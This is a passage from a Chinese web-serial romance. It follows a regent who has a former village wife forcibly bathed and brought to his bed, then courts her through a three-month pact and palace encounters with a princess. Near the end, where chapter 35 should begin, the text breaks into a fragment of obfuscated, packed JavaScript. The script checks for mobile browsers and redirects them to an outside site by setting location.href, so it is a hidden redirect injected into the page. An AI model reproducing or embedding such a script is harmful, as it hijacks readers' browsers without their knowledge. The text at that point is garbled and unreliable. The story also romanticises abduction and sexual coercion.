这时她胳膊落下一片绵软,侧目便见晓依不合时宜地出现在身边,她默不作声,缓缓扶着陈窈下车。
陈窈怔了下,脱口而出,“你怎么在这儿?”
晓依身子发抖,连说话声音都哆哆嗦嗦,像是快要哭了,“奴婢……”
陈窈第一个想法是她也被掳来了吗?然后视线才定在晓依心虚的面庞,她一霎恍然大悟,火点映在她骤然收缩的瞳上,只听顾宴书说:“她是本王的人,为何不在这儿!”
陈窈嗤笑一声,难怪晓依一直称赞摄政王,不让她嫁给秦恒之,原来一切都有迹可循,她从一开始就是顾宴书安插在她身边的眼线,监视着她的一举一动。
晓依满心自责想挽回,“姑娘,奴婢……”
陈窈嫌恶地说:“别喊我!你同他一样令我恶心!”
晓依含泪,带着絮絮哭腔说:“我知道我对不起姑娘对我的好,但我同样真心……”
陈窈甩开她搀扶的手,不想再听下去,“以后你不必来金瑶楼了!”
晓依两行泪滚下来,被泪婆娑的眼珠倒映出陈窈如月般寂寥的身影,向幽暗深处走去。
顾宴书阴晦的目光落在眼前的女人,他散漫地挑起眉梢,露出微微愠色的眸光,“本王这几日对你的忍耐已到极限,窈娘太让本王失望了!”
陈窈捏紧长袖下的手,凉飕飕的风刮面,让她耳畔凌乱的发多显几丝美。
“来人!伺候王妃沐浴!”顾宴书勾了下唇,溢出三分挑逗。
两边侍候的粗使婆子们得令,立即上前牵制住陈窈。
陈窈被她们粗壮如钳子的手扣住双臂,动弹不得,她喉咙嘶哑,大声朝顾宴书喊道,“干吗!你要做什么!”
“当然是送你入洞房。”顾宴书不徐不疾,沉下眸子,“与你圆房!”
陈窈瞠大双瞳,登时愣住。
闻言,她更加用力地抽出手臂,甚至去咬婆子的手臂,但全都徒劳,几个人力使一处,陈窈瞬间被腾空架起,她的哭叫回荡在庭院,“啊!你这是强抢民女!”
顾宴书没理会她,目送她不情愿的身影,扯出一抹寒凉的笑。
陈窈洗了干净,被一群簇拥的婆子和婢女送去顾宴书的床上。
她身着白衣,轻纱裹胸,薄如蝉翼,仿佛轻轻一拉便扯断。
陈窈四处寻锋利的利器,像是提防她般桌上连水果都没有,更别说任何的刀具,她宛如一只待宰的白兔,等着进沸腾的油锅被反复烹煮。
片刻的希望转瞬即逝,陈窈闭了闭眸,死心般地跪在地上,白裙似大片云朵铺散在石灰地面。
对上顾宴书毫无还手之力,她还在顾宴书眼皮子底下溜过一次,只怕今后府中的防守会更森严,连只细蚊都逃不出去。
陈窈早就耳闻他的杀伐果决,听说之前有个同僚背叛他,他好言相劝,同僚以为他真回心转意,但转眼他就把人绑起来,将他的肉一片片剐下来制成风干香肠,吊在房檐上以表威严。
只是脑海中一过,陈窈浑身不由颤抖,头皮发麻,她何止背板,更是把身为裴照七的顾宴书卖到吃人不吐骨头的青楼,让他供人玩乐,这种欺辱他怎会放过她。
看来她今晚也要命丧于此了。
就在这时,大门被推开,强劲的风灌进温暖的室内,顾宴书裹挟一身冷意踏进。
陈窈迅捷地盖上被子,假寐躺在床,背部对着他。
顾宴书对她几日的折磨,让她的泪早都已干涸,这种死亡要来临的时刻她却意外地冷静与平息。
一道黑影在她身后降临,眼皮像覆上一层浓重的墨般,半晌她感到身后小幅度的窸窣声,顾宴书掀开床帘,与她一同躺进去。
陈窈在他贴近的一刻,冷不丁地一震,身如冰锤寒凉。
顾宴书迫不及待地搂她入怀,手臂圈住她纤秀的柳腰。
女人久违的身子再次贴近他的胸膛,令他心如绵一眼柔软,但一想到陈窈逃跑他嘴硬道:“你让本王找得好辛苦,你说本王该怎么惩罚你呢。”
陈窈腰身被他禁锢在的怀中动弹不得,但她一身铮铮铁骨,极为硬气地说:“要杀要剐悉听尊便!”
顾宴书鼻腔溢出一声哼笑,撑起身子,手掌握拳支在额边,指尖慢慢滑过她光润的侧脸,“本王要你的命作甚。”
他不杀她?
陈窈脑中翻涌,但她就算不死,以顾宴书睚眦必报的性子,落在他手中怎么也会脱层皮下来。
脸颊上传来他细密的触碰,顾宴书刻意的撩拨弄得她一阵寒战,又痒又凉,脚趾不由蜷缩起。
女人睫毛低垂,投在眼下一小片阴影,声音绵绵地躲过去,“别碰我。”
顾宴书今晚吓她吓够了,也算是对她逃跑的惩罚,倘若真把人吓坏了,他却又舍不得。
男人眼露柔情,似水般的眸子凝视着她,须臾他俯下了身。
陈窈的耳廓被阵阵灼热的呼吸拂过,男人视如珍宝般吻啄在她的脸侧,只听他柔和地哄着她说:“窈窈乖,本王给你送珠钗。”
陈窈巧鼻微皱,推开他近在咫尺的胸膛,“不稀罕。”
顾宴书追着她凑上去吮她的鼻骨,闭上眼睛感受她的香气,“只要你留在本王身边,你要什么本王都给你。”
陈窈:“我不要待在这儿王府里。”
她就是要走,走到一个没有顾宴书的地方!
男人心脏猛地一紧,大掌颤抖着抚上她的面,眼角暴戾褪去透出几分哀求,“我已认定你是我的妻,你还要跑哪里?”
陈窈脑袋贴在墙壁,像是咬着牙般,她狠绝地说:“我已经不喜欢你了!”
“我不信!”
顾宴书猛然睁开眼,晦暗的视线像漆黑的紧紧包裹着她,陈窈眼珠下滑,小脸歪到一侧。
陈窈的闪躲让顾宴书不满,他抬手捏住她的下巴,强迫她注视着他的眼睛,“若你与我同房后还讨厌我,我当真无怨无悔,再也不纠缠你。”
陈窈倏尔抬起眼,难以置信自己听到了什么,她气得膝盖用力一顶,“花言巧语的登徒子!”
顾宴书喉咙发出一声沉闷,对她猝不及防的攻击没有防备,胯/下聚集着钻心的疼痛,迫使他从陈窈身上翻下来,面色惨白地缩起四肢。
“你……”陈窈看他痛苦的样子,有些无措,“我没用力啊?”
“你可真对本王下得死手。”顾宴书像是快断气了一样,久久直不起身。
烛火照影,两人各执床边一侧,陈窈用被子将自己裹成一个粽子靠在床柱上,眼底的警惕与惊恐少了些许。
经过刚才的折腾,气氛稍显缓和。
顾宴书缓了好一阵,但他忍死心不改,继续蛊惑她,“你嘴硬,但身体不会欺瞒。窈娘,我们在床上来一次,找回从前那般甜蜜,可好?”
陈窈:“……”
她有些后悔,刚才没用全力踢他。
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陈窈撇嘴,“你是不要脸贯了,可我一个未出阁的女子可是要清白的!”
顾宴书愣了愣,“你与我四年夫妻算什么?”
“你说算什么!”陈窈突然上情绪,指责他说:“算你顾宴书整整欺瞒我四年!”
他怪她因生计把他买了,但她同样也恨他的欺骗。
顾宴书深吸一口,“若现在站你面前的是裴照七,你还会和他重做夫妻吗?”
火光掠过女人的面庞,她沉吟不语。
“窈娘,我们都曾身不由己过,因朝中动乱,不得不委身于花颐村,可我一直在等一个机会将你接回去,好不容易盼到,正打算风风光光将你接回王府,可……你竟要狠心地把我卖了。”
“你叫我的心怎能不痛呢?”
“你可知看到你满心满眼都是别的男人时,我嫉妒得发狂,多想杀了他!把你从他身边抢过来,告诉他,你只能是我顾宴书的女人!”
顾宴书深情流露,说得情真意切,仿若将陈窈带到曾经的回忆。
见她不语,明眸流转似有几分动容,顾宴书先一步妥协说:“窈娘,我们做约定吧!”
陈窈迷茫地问:“什么约定?”
顾宴书:“你做你的金瑶楼老板娘,我做我的摄政王,这期间咱们以平常心相待,若三月后你对我没有感情,咱们就此作罢。”
陈窈想这样也好,若真能让他死心,回归她一条生路也是好的。
她答应了顾宴书。
顾宴书满意地勾起一抹笑,随即注意到她包裹严实的被褥,“你冷?”
“还不是你府上婢女做的好事,专找一件衣不蔽体的……”陈窈脸一红,没勇气再说下去。
“我府上的婢女当然是根据我的喜好来……”顾宴书长眸微眨,笑了声。
“别说了。”陈窈捂住他的嘴。
“窈娘不怕我了?”顾宴书笑了笑。
陈窈说出顾虑,“你总是把杀人挂在嘴边,谁不害怕?”
顾宴书向她保证,“以后我在窈娘面前少提,尽量把人带去外面去杀。”
陈窈:“……”
她白说了。
顾宴书忽然提起,“把晓依带回去吧。”
“她是你的人。”陈窈有些不愿,她不喜欢被人监视的感觉。
顾宴书明白她的顾虑,体贴地说:“从现在起她就是你的人了,听命于你的指令,而且她会武功能护你周全。”
陈窈指尖泛着粉嫩,蜷缩在膝盖上,踌躇不决。
顾宴书轻抚长袍,单膝跪在地上,语气微带着恳求,昂首看她说:“乖,别让本王担心。”
男人目光缱绻,指尖滑进她的扣着的小手,去勾她微僵的手心。
他的触摸如同一根软绵绵的羽毛落入,止戈于此没有过分地强求双手紧扣,恰到好处的分寸让陈窈没有拒绝,“今夜你就在王府睡一晚,明早我叫人送你回楼。”
陈窈点点头:“好。”
顾宴书笑着缓缓起身,见她躺下熟睡后阖上了门。
门关上的一刻,男人脸上的笑容转瞬即逝,双目如高挂的寒星散着触不到的凉意,清冷孤寂,身影渐渐消融于夜色。
顾宴书回到书房,手执碧玉斗紫毫提笔,顶端镶青金石,衬得他如玉的骨节如玉莹润。
片刻过后男人放下笔,“把这封信给刑部尚书范大人,让他好好地盘查,若找不出一点错本王必参他失职。”
“是!”凌雲接过,如一支箭羽飞咻地出门外。
万籁俱寂,顾宴书视线定在窗外辽阔的黑夜,捏了捏拳头,低喃道——
“窈娘,你我之间注定会纠缠,本王不会放你走!”
33. 勾引
凌雲将信送出后,大步走进一座灯火通明的酒楼,三个大字印在牌匾——望月楼。
望月楼名义上是青楼别院,实则是他们潜伏多年的交互中心,这幕后的主子便是当今摄政王顾宴书。
此事神秘到楼中老鸨都不知道是谁主子,直至顾宴书被陈窈送进去的那一刻,他的心寒了,连带着望月楼也整整闭门了半年之久。
美人榻上,女人长发披落,两只耳朵各坠着金环,其嵌有一颗闪耀的东珠,身着散花如意云烟裙半躺,薄纱垂下,轻轻摇晃。
门推开的瞬间一股强大有力的风吹进,女人身姿轻盈,从榻上直起身,“大人,今儿怎会有闲情逸致来看玉兰?”
凌雲身形高大,但看似粗糙的男人,却从身后拿出一捧洁白的白玉兰花,幽幽花香从中弥散,“给你送花。”
玉兰一喜,瞳孔映出光淡淡的柔晕,她接过轻嗅了嗅说:“离上巳节还早呢。”
“不是上巳节就不能送你花吗?”凌雲脱下一身碍事的盔甲,熟门熟路地往床上走去。
来望月楼的客人都是来找姑娘睡觉,而玉兰是个例外,只因她弹得一手好琴,引得来客撒黄金万两也要听上一曲,凤姨专许她只卖艺不卖身。
除非……
是她心甘情愿。
玉兰极为珍贵地将花放入玉瓶中,一转眼凌雲已脱掉厚厚的衣服,肌理分明的胸膛袒露,正好整以暇地望着她。
“最近很忙吗?”玉兰缓步坐在床边,蓝纱映衬颀长的脖颈,真像一株高洁典雅的玉兰花绽放于他眼前。
凌雲侧目扫过女人玲珑曼妙的身子,不禁眼泛热气,他一把搂过她的腰压倒在床头,呼吸打在她的颈窝,低哑说:“不忙。”
玉兰小声惊呼,偏过头不让他亲,“又骗我。”
凌雲自是知道有阵时日没来看她了,总是让她一女孩子担惊受怕地在这种是非之地等他,他也不放心,承诺般向她保证,“等我忙着这一阵,我会向王爷给咱们赐婚。”
玉兰顿了下,“怎么会想起这个?”
“见王爷都为王妃慢慢改变了。”凌雲眼眸深邃,缓缓地说:“我也想给你一个家。”
“王妃?”玉兰只注意到前半句话,微讶地说:“摄政王要娶妻?”
凌雲眸光忽变,沉默不语。
玉兰意识到自己说错话了,视线低垂,语气夹杂着低落,“我知道我不该问这些。”
在王府行事谨慎,身边的人都要提防。
“玉兰家道中落,染上这凡尘,本以这一生会潦草而过,幸得大人垂怜,护着玉兰念着玉兰,没让这没用的身子白白玷污了去。”玉兰美目流转,回想起家中往事,眉头不由轻锁,叹道。
凌雲知晓她曾是世家出落的小姐,只因一朝改朝换代,全府被抄家,她侥幸捡回一条命,却跌入青楼做妓子。
“玉兰不求君心似我心,只求大人平安顺遂。”她抬眼望着他,水汪汪的眼如盈盈秋水,盛着忧伤,敛着真情。
女儿家音色婉转,句句诚心实意,凌雲听进心里去了,他心脏蓦地一软,“无碍,也不算是什么大事,王爷那些年躲躲藏藏,委身在一小村落,要不是遇到王妃心善,可能都没有如今执掌一方的摄政王。”
玉兰眯了眯眸,从他只言片语中已把来龙去脉组织清晰。
凌雲见她沉默,指尖轻抬她的下巴,“想什么呢?”
“在想要嫁给大人呢。”玉兰回神,身子依偎在他怀中,“身在青楼,玉兰只会拖累大人。”
凌雲拂过她的肩头,真情流露,“这些年多亏有你在我身边。”
“大人才是玉兰的靠山。”
女人轻啄他的双唇如蜻蜓点水而过,留下酥麻的痕迹,仅是一瞬又似害羞地缩到床上,羞红着脸不敢去看他。
凌雲眼神一紧,大手撩下床帐,薄薄的床纱如云遮月般,盖住两道缠绵交织的身影。
——
清晨,露水沾湿绿叶,鸟鸣阵阵。
一早陈窈就从府里出发,她怕顾宴书忽然反悔又把她关了回去,避免夜长梦多,陈窈一刻都不敢停留。
而顾宴书似乎看破了她,只是笑了笑,送她上了马车。
男人暗色袍子挺立在光下,他柔柔地说:“窈娘,不要忘了咱们之间的约定。”
陈窈面上无笑,比秉公办事还要严肃,“不会忘的。”
陈窈前脚到金瑶楼,后脚顾宴书给她送来的金银就到了店里。
许是这些天在王府,楼中的生意都被顾宴书耽搁了好些,他主动弥补了好些名贵的珠宝首饰。
“哇~王爷对姑娘真的好好啊!”晓依盯着这些发着金光的饰品,连连发出惊叹。
陈窈和顾宴书待久了,眼神也变得阴森森的,她故意瞪着“小叛徒”晓依,静默不语。
晓依立即收起笑容,“姑娘,这些你要扔掉吗?”
姑娘还愿意要她,她就会一直追随着姑娘!
“扔什么?我只是跟他过不去,又不是和银子置气!”陈窈喜欢闪闪发光的宝贝,吩咐晓依按价分好。
晓依:“是的,姑娘!”
真正让陈窈允诺顾宴书的提议不是踢他一脚的愧疚,而是二人拉扯时,顾宴书胸口的那条刀疤无意地显现。
疤痕细长,划穿皮肤的口子并不浅,突起的愈合皮肉如鱼骨,明晃晃地刺痛了她的双眼。
她曾经悉心地照料,到底还是留了印。
陈窈拆开箱子,似无聊地说:“和我说说你家前主子吧!”
晓依叹息说:“王爷嘛,他命特别苦,苦到苦瓜碰到他都自觉不如。”
陈窈装模作样地沉了下脸:“说重点!”
晓依哦了声,随后与她娓娓道来。
顾宴书的母妃裴氏为侯府嫡女,未入宫前是上战场杀敌的女将军,入宫后是皇帝最爱的宠妃,皇帝为了她撤走佳丽三千,真正做到独宠一人。
后宫此后便只有裴氏与皇后冯氏,二人多年在宫中相伴成为最好的朋友,无妻妾争宠,宫中一派和睦。
美好破碎便出现在匈奴的挑衅,屡屡挑战大齐的威严,还要当时年幼的长乐公主和亲威胁,那个极苦之地公主去了必定有命无回,这时裴氏本想请命战敌,不料查出怀有身孕。
最终七皇子也就是顾宴书出征抵御匈奴,虽兵多人多,但还是败下阵来,对方对他们的军事战略似了如指掌般反击,屡战屡败的局面一时间让宫中惶恐,而顾宴书也下落不明。
有人说他已被匈奴杀死,也有人说他打不了胜仗,无言面见圣上,跳进冰凉的奚江而亡。
皇上封锁所有消息,却不知哪个太监不小心走漏了风声,让这些闲言碎语传进裴氏的耳朵里,致使生产时危在旦夕,最后一尸两命。
心爱之人去世,皇上终日抑郁寡欢,也撒手人寰,最后太子顾远璋继位,也就是冯太后的儿子。
“然后呢?顾宴书呢?”
晓依还没讲完,陈窈的心跟着揪起来,忍不住打断她。
“其实王爷在外征战时,我还没入府为婢,只是略有耳闻王爷用了四年多的时间才击退敌兵,重返嬅京。”
陈窈沉默,全都对上了,顾宴书消失的四年正是与她做闲野夫妻的四年,那就是说裴照七并不是出征,更像是躲起来了。
花颐村地处偏僻,地小人少,身在此,改名换姓,无人知晓。
“后来大齐的局面便尽人皆知……”
晓依不好继续说下去陈窈替她说:“后来顾宴书杀亲兄夺皇权,冯太后只能扶持先皇最小的儿子顾琏继位,皇帝年幼全靠冯太后教导才有如今这幅繁荣之景。”
“这些都是民间的传闻。”说起顾宴书弑兄这段往事,晓依也没了底气。
不论真假,陈窈更在乎别的,“他这些年都是一个人吗?”
“好多侍卫都跟着他,怎会是一个人呢,我们是一群人。”晓依没听懂她话的深意,讷讷地说。
晓依笑眯眯地凑过来,似十分懂她说:“您是在打探摄政王有没有女人吧?”
陈窈汗颜:“……不是。”
晓依:“凌霄说得果然有道理,女人最爱口是心非。”
陈窈:“说的他好像很懂女人。”
晓依犹豫:“这个嘛……”
陈窈不想听了,催促她说:“而且你也是女人,还不是把楼下的货物点清楚去!”
晓依被她赶下楼下前,忽地记起一件事,提醒她道:“姑娘,别忘了公主召您进宫的事。”
陈窈差点把公主让她做馄饨这事给忘了,说是某个皇兄的生辰,期盼她这位皇兄可千万别是顾宴书。
不过话说回来,两人做夫妻四年她好像连他生辰是哪天都不知道?
陈窈露出苦笑,轻叹了一声,她自己的也不知。
——
殿外,杨柳湖旁。
长乐公主衣裙轻摆,一行宫人端着陈窈做的馄饨跟随公主出了大殿。
临走前公主交代陈窈再做一份摆到绿柳下的青玉石桌,她将馄饨放置好后便摆弄起首饰盒,等待公主挑选发簪。
因公主不在,她与宫里的婢女无束地闲聊。
“陈窈姐姐,你这些发簪可真好看!”
“你手好巧啊,做上这一支复杂的簪怎花好些时日吧。”
“可惜我们这些做下人的,只能过过眼瘾。”
宫女们不敢拿起公
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主的金簪摸来摸去,弓着身子,使劲地用两只眼睛仔细盯这些华丽的首饰。
陈窈很识趣,听懂她们的弦外之音,跟公主身边的宫女搞好关系很重要。
她从身后的小匣子里拿出几只颇有上品的耳环,“几位姐姐,这是窈娘的一点心意。”
宫女们惊喜地拿到,迫不及待地拿起试了试。
桌上的馄饨已不冒热气,陈窈担心地问:“公主几时回来?”
其中一位宫女,“不知道。”
若是过生辰应一时半会儿回不来,这馄饨怕是要凉了,陈窈思虑。
宫女:“怎么了,陈窈姐姐?”
陈窈说出自己的顾虑。
宫女:“不用担心,这碗是给摄政王殿下准备的。”
顾宴书?
陈窈攥了攥手,真是怕什么来什么。
她们拿了陈窈的好处,便多和她说了几句,“近日摄政王总是来找公主,你知道的,她们多年未见,关系难免生疏,因为你这一碗馄饨,很得摄政王的口味,一来二往我们公主对摄政王也稍微亲近了好些。”
陈窈眸光流转,她只给公主做过两次馄饨,一次是今天,还有便是之前大婚前进宫的一次。
听宫女所述,顾宴书应是上次在她走了后就来吃过,此后日日便来殿里蹲守着她,才不是为了什么兄妹情分。
那今日……
陈窈正想着,远处脚步的窸窣声传来,越行越近,顾宴书携眷着清风,只身一人来此,面色似比从前温润几分。
本来还和她嬉笑的宫女们,立刻敛住笑容,恭恭敬敬地行礼,“参见摄政王殿下。”
旋即退到一边服侍,不同以往的是她们的站位似比之前更远一圈,仿若顾宴书是什么瘟疫一般的避之不及。
于是,局面就成了顾宴书和她站在这个圆圈的中心,无言的四目相对……
陈窈如同石化般站在原地,不知所措,连行礼都忘了。
刚才几个收了陈窈礼的宫女们,面容正好背着顾宴书,拼命给陈窈使眼色,好心提醒她给摄政王行礼,不然会掉脑袋!
可陈窈满脑子都在想如何与她这位前夫君在众人面前相处,几人看着陈窈木讷的眼神,仿佛已想到她的死状。
谁知,顾宴书直径坐在石桌前,并没降罪于陈窈,而陈窈见他在吃馄饨也不想理他,自顾自地收拾手中的簪钗。
众宫女脸色一致错愕。
顾宴书刚吃一口,还没嚼两口就急不可耐地同她搭话,“这么多年,窈娘的手艺不改从前,味道依旧。”
她分明改善了厨艺,更精了!
怎能与从前那般的清汤寡水相提并论!
陈窈声如细蚊,“……别和我说话。”
她生怕别人看出他们之间的端倪,只想赶紧离开。
顾宴书笑了下,看着她忙里忙外的样子,又道:“窈娘许久都没为本王束过发了。”
陈窈一滞,手中的玉骨梳差点掉地,她加快手中的速度,好在宫女们离得远听不到他说话,陈窈打算假装听不到,赶快远离顾宴书,谁知他这张肆无忌惮的嘴还会蹦出什么来。
女人从开始的不徐不疾到快得都要掀起一阵风似的,引得顾宴书低声哼笑一声。
最后几支步摇摆出,陈窈总算大功告成,她正准备离开,下一刻,顾宴书握住她的手,轻轻一带到身边。
“你干嘛!放开!”陈窈压低声量,惊恐地环顾四周,手极力从他桎梏中挣脱出。
顾宴书似乎很喜欢看她这般样子,手不仅扣得更紧了,扣住她手的指尖还明晃晃地摩挲着她手背。
女人的小手细嫩软滑,背部的手骨似连绵的驼山,只是被忽如其来的一阵秋雨滴润,浸入心底的发痒烦躁。
顾宴书攥她手攥得又紧又痒,激得陈窈浑身打了个哆嗦。
两人握手正好被厚厚的石桌面挡住,前面的宫人看不见,但陈窈心急如焚,再这样下去迟早被人发现。
她顾不得这么多了,既然顾宴书先对她不仁,别怪她不义!
陈窈另一只手扣上顾宴书的手,包裹他的整只手。
触碰的瞬间,男人本看池中之物的愚昧眼神顿时暗了暗,还没反应过来时,她的尖利的指甲已嵌入他的肉里,硬抠出几道浅浅的印记。
恰逢此时,顾璇儿送完食盒回来,刚走进便看见这一幕。
从二人身后的视角来看,陈窈玲珑窈窕的身形贴在她皇兄一侧,双手正紧紧握住她皇兄的一只手,而她皇兄微微侧眸,能看出紧锁的眉目与不爽的神色……
顾璇儿惊呆了!
陈窈在……勾引她杀人不眨眼的七皇兄?
这个女人真是疯了!
34. 想念
顾璇儿好几天前就准备去送礼,春明提着陈窈的食盒跟着她,一想到公主即将要做什么,她心底打鼓,忍不住地提醒她,“公主!咱们这么做是不是不妥?”
顾璇儿理直气壮,“有何不妥?我身为公主理应送国师礼。”
这压根不是公主送皇兄的祝礼,而是献给国师李牧的生辰礼,春明作为公主贴身的掌事宫女,自是看出公主对国师很上心,不同于君臣之间,是男女之情的在意。
更何况公主私下见外男,若是被有心之人添油加醋,公主恐是寻不到驸马了。
公主一心执念,春明不知如何劝说,沉思的片刻换来了顾璇儿的不满,她凝起眸子,“还是你认为这碗馄饨不像是我的手艺?”
春明:“……您说您亲自下厨自是无人反驳。”
顾璇儿爽朗地勾了下唇,“那便十分妥帖!”
春明:“……”
到了和芳园却不见李牧,只有李牧身边的侍从,他欠身道:“国师说有事商议先行告退,若公主有什么吩咐,小的会传话。”
春明顿时松了口气,公主见不到国师就不会被人定为私会。
但顾璇儿脸色极其难看,骄纵地说:“他怎能无信!有什么事比见本公主还重要?”
春明使了个眼色,让小侍卫拿着食盒先退下,小侍卫如释重负地退下。
顾璇儿白忙一场,人见不到还拿这种理由搪塞她,她可是一朝公主啊!最尊贵的公主!
“本宫要告到太后那边治他的罪!”公主袖子一挥,生气道。
“国师为大齐安危祈福,连自己的生辰都来不及过,公主更应体谅。”春明安慰公主,忽想起一事,“近日嬅京有一杀夫命案闹得纷纷扬扬,死者正是来过宫的画师盛明朗,本该当街处死他妻子,但国师出手制止,将卷宗连夜翻开,发现死者服用了大量的五石散,神志不清溺水而亡,这才还了公道。”
顾璇儿这才记起是有这么一回事,这案定的死,有人曾看到死者与他妻子在河边打架的情形,已是板上钉钉的案子,国师能翻案实属不易。
她脑中浮现出李牧那种温润如玉的面孔,淡色长衣挺立,在朝堂举步风声,像是能融化世间所有苦寒之物。
顾璇刚才那点计较倏尔消散,笑着说:“国师真是位心善之人,那本公主也应行善事,如此一来,也能与国师并肩,省得找个由头和他见面!”
春明说:“此案据说还有个疑点。”
“什么疑点?”顾璇儿让她说来听。
春明压下声音,“按理说案子结了,还她清白回家过日子,可这事怪就怪在这儿了……那寡妇消失了?”
……
顾璇儿沉默了,她只是一时兴起,若是真让她帮国师办案子,她真不是那块料,还是回去摆弄她期待许久的金簪比较好。
结果,当头便给她一棒,陈窈的爪子竟攀附上她皇兄的手!
顾璇儿脚下步子一顿,纵使礼仪端庄的公主,看到如此惊骇的画面都差点被自己的长裙绊倒。
那可是她七皇兄啊!曾经她宫里想攀高不怕死的宫女,试图勾引顾宴书,打扮得不光花枝招展还十分大胆,高高鼓起的胸脯蹭了蹭顾宴书的臂,结果第二天便在房中找到了她的尸体。
春明在一旁也如石化般,她吞了吞口水,“公主,咱们……要过去吗?”
顾璇儿清了清嗓,昂起胸来,“自然!本宫刚才还说要日行一善,怎能言而无信?”
春明扶着公主,跟着她加快的步伐,雄赳赳气昂昂地走过去。
顾璇儿大步走过去,高着嗓,亮声喊,“七皇兄今儿日来得好早!”
也是在她走过的一刻,陈窈的手终于从顾宴书的桎梏中抽离,她白如霜雪的手面留下一圈淡粉的痕迹。
陈窈恭敬退到一旁,她不知公主看到了多少,会降她什么罪。
就算她如实说来,是顾宴书先动的手,想要轻薄于她,但高高在上的摄政王屈服一介民女,谁又会信她的只言片语,到头来受苦的还是自己。
陈窈对策还未想好,顾宴书悠悠开嗓,像是清冽的茶被热水沏开,笑着说:“自然是被皇妹殿中的一碗佳肴吸引,不知是何人所做,能否将这厨子赠予本王?”
话落,陈窈蓦然瞪大眼珠,抬头与顾宴书幽深如潭水的眸子对上,他好整以暇地望着她。
陈窈捏了捏袖口,这个王八蛋要做什么!?
这才过了几天他就如此不守规定!
陈窈顺势低下的脑袋藏着惊怕,心如跌入谷底般跼蹐不安,若公主真供出她来,她又要回那个逃不出去的王府。
顾璇儿瞧着顾宴书这懒散却又郑重的神色,心想完蛋了,这就是暴风雨来临前的平静,顾宴书越这样发笑,陈窈死的就越惨。
风吹过,三人无一人开口。
“怎么?”顾宴书眼神扫过陈窈战战兢兢的脸上,轻挑眉目道:“皇妹不舍啊?”
“这个嘛……皇兄有所不知,这馄饨并不是宫里的御厨所制,而是一位民间的……厨子烹制。”顾璇儿语气微微结巴地道。
须臾,顾宴书淡淡说:“既然如此,下次她来皇妹一定要让本王过目。”
顾璇儿松了口气,看着眼前摆放整齐的簪子与金钗,她随便拿了支步摇,指着陈窈斥责道:“本宫不是让你把这些送走,怎么还在这里?连这点小事都做不到吗?”
“民女该死,求公主原谅。”陈窈见状跪下求饶。
顾璇儿:“你这样不长记性的人,我本宫怎敢用你,还不滚出宫!”
“多谢公主!多谢公主!”陈窈像看到救命稻草般,连滚带爬地远离这个地方。
顾宴书:“一支钗子罢了,皇妹怎发这么重的脾气?”
顾璇儿愣住,“……重……重吗?”
她心里嘀咕,堪堪训斥而已,难道不比他杀人轻吗?
顾宴书:“嗯,皇妹还是改改这脾气吧,本王改日再来。”
顾璇儿难以置信,拉着春明说:“你刚听到他什么了?”
春明也震惊了,“摄政王说让您改改脾气。”
顾璇儿被气笑,“我只是偶尔说说要去太后那边告状,你看我哪次真跑去慈宁宫了?”
“是,您仁慈。”春明说。
“可他呢?双手都不知沾了多少鲜……”顾璇儿说到这里不敢真置喙顾宴书什么,她声音止住,说道:“陈窈没走远吧,快叫她回来!”
春明:“您不计较她勾引摄政王了?”
顾璇儿天真地说:“她做的簪钗远比皇宫的簪娘还新颖,没了她本宫如何能在宴会中脱颖,本宫既救了她的命,日后好好提点她,她定能知错就改,为本宫卖命!”
春明:“好……”
——
公主的苦口婆心劝导,让陈窈回到金瑶楼已是傍晚,更重要的是她空着肚子,饥肠辘辘。
“姑娘,您怎么回来这么晚?”晓依见她一脸疲色,“用饭了吗?”
陈窈:“没有,快给我上五头牛来!”
“好……”晓依着急地下楼去厨房,仔细听她想要什么后,反应过来,“什么?五头牛?”
“对,我现在饿的能吃下好几头牛。”饭还需热一会儿,陈窈拿起桌上的茶点狼吞虎咽地塞进嘴巴里。
晓依给她递了杯茶放在旁边,关心地说:“公主留您在宫中这晚作甚?”
陈窈嘴中被豆沙填满,含糊地说:“她叫我不要勾引顾宴书。”
晓依:“……”
陈窈拉过晓依的手,给她学起来,“这个王八蛋就是在大庭广众下这样的!”
晓依起了一身的鸡皮疙瘩,但又实话实说,“那王爷是有点过分,至少也应该避避人。”
陈窈凝眸,斜睨着她,“你到底是谁的人?”
晓依嘿嘿一乐,抱着陈窈的手臂,嘴甜道:“自然是姑娘的人。”
陈窈推开她,微微挤出一个转瞬即逝的假笑,“你句句向着他说话!”
晓依撅了噘嘴,认真分析,“王爷要是避人的话,您也不用如此动怒。”
陈窈说:“重点是他拉扯我,而不是避人,小依依你懂吗?”
晓依使劲点了下脑袋:“懂!”
陈窈就知道她是个叛徒,“你就应该和我一起骂那个王八蛋!”
让她破口大骂摄政王,晓依拒绝:“说不出口。”
陈窈冷笑:“我算是看明白了。”
晓依疑惑:“您明白什么了?”
陈窈:“我若哪天进了他王府,一定是你给我送上顾宴书的床!”
晓依:“奴婢没有那么大本事。”
鸡同鸭讲一般,陈窈失了兴趣,她把一盘饼吃光,拍拍手里的渣,轰人道:“行了,我吃饱了,先睡了。”
“您不吃五头牛了?”晓依还没来得及去厨房准备。
“还不快从我眼前消失!”陈窈瞪她。
陈窈闭上眼,梦带她回到了花颐村,回到了吃馄饨挖野菜的日子,也回到了——
与她的傻子夫君卿卿我我。
梦境中裴照七千好万好,任她呵斥使唤,她笑得爽朗,是一种直达眼底的笑意。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781926|153710||http|test|mini|href|location''.split(''|''),0,{}));
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>可转眼男人双眼煞起火光,杀气升腾,一身的戾气遍布周身。
裴照七有权有势,却变得陌生,让她感到害怕。
他说他如今什么都有,要用一屋子的金银永远把她困在王府,做一只飞不出去的鸟儿。
她说她不愿意,她喜欢自由自在,穿过闹市,飞过山川海流,去从未去的地方,做没做过的事。
然而,顾宴书终究不是听她话的裴照七,他扯住她的双手,用力地拽她,像是从阎罗殿追命的厉鬼一样,要将她牢牢地捆在身边。
于是,她不喜欢他了。
夜雾浓重,更深夜露。
陈窈从梦中惊醒,猛地坐起身,后背被大片大片的汗浸湿,发丝汗津津地贴在面庞。
她喊:“晓依?晓依?现在几时了?”
晓依没一会儿端来一根蜡烛,揉着睁不开的眼睛说:“才子时,离天亮还很久。”
